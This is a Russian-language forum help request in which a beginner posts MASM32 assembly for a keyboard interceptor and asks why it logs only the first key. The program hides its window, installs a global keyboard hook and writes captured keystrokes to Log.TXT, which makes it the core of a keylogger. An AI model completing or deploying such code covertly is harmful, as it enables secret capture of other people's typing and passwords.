Помогите пожалуйста!

Низкоуровневое программирование портов, микроконтроллеров и т.д.

Модератор: Andy

Ответить
denis6705
Сообщения: 3
Зарегистрирован: 02 ноя 2009, 13:17

Недавно начал изучать ассемблер под Win32 использую MASM32 v10
решил написать простейший перехватчик клавиатуры. Написал DLL которая устанавливает хук WH_KEYBOARD и с помощью PostMessage отправляет полученные параметры в сообщении WM_KEYUP процедуре окна.

Но почему то в файл записывается только первая перехваченная клавиша.
Возможно я не втех местах поставил установку и удаление хука.
Возможно хук выгружается после первого перехвата. Подскажите как решить проблему.

Вот Пограмма :
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include KeyBoardHook.inc

includelib KeyBoardHook.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :D WORD, :D WORD, :D WORD, :D WORD


.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
fName db "Log.TXT",0


.data?
hInstance dd ?

hHook dd ?
CommandLine dd ?
fHandle DWORD ?
cWritten DWORD ?
Char DWORD ?
.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke CreateFile, ADDR fName, GENERIC_WRITE,0,0,CREATE_ALWAYS,
FILE_ATTRIBUTE_ARCHIVE, 0
mov fHandle, eax
invoke WinMain, hInstance, NULL, CommandLine, SW_SHOWDEFAULT
invoke CloseHandle, fHandle
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow :D WORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND


mov wc.cbSize, SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra, NULL
mov wc.cbWndExtra, NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground, COLOR_WINDOW+1
mov wc.lpszMenuName, NULL
mov wc.lpszClassName, OFFSET ClassName
invoke LoadIcon, NULL, IDI_APPLICATION
mov wc.hIcon, eax
mov wc.hIconSm, eax
invoke LoadCursor, NULL, IDC_ARROW
mov wc.hCursor, eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd, eax
invoke InstallHook, hwnd
; invoke ShowWindow, hwnd, SW_SHOWNORMAL
; invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg, NULL, 0, 0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
invoke UninstallHook
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

.if uMsg==WM_DESTROY

invoke PostQuitMessage, NULL

.elseif uMsg==WM_CHAR

mov eax, wParam
mov Char, eax
invoke WriteFile, fHandle, ADDR Char, \
1, ADDR cWritten,0


.else
invoke DefWindowProc, hWnd, uMsg, wParam, lParam
ret
.endif
xor eax,eax
ret
WndProc endp
end start
Ответить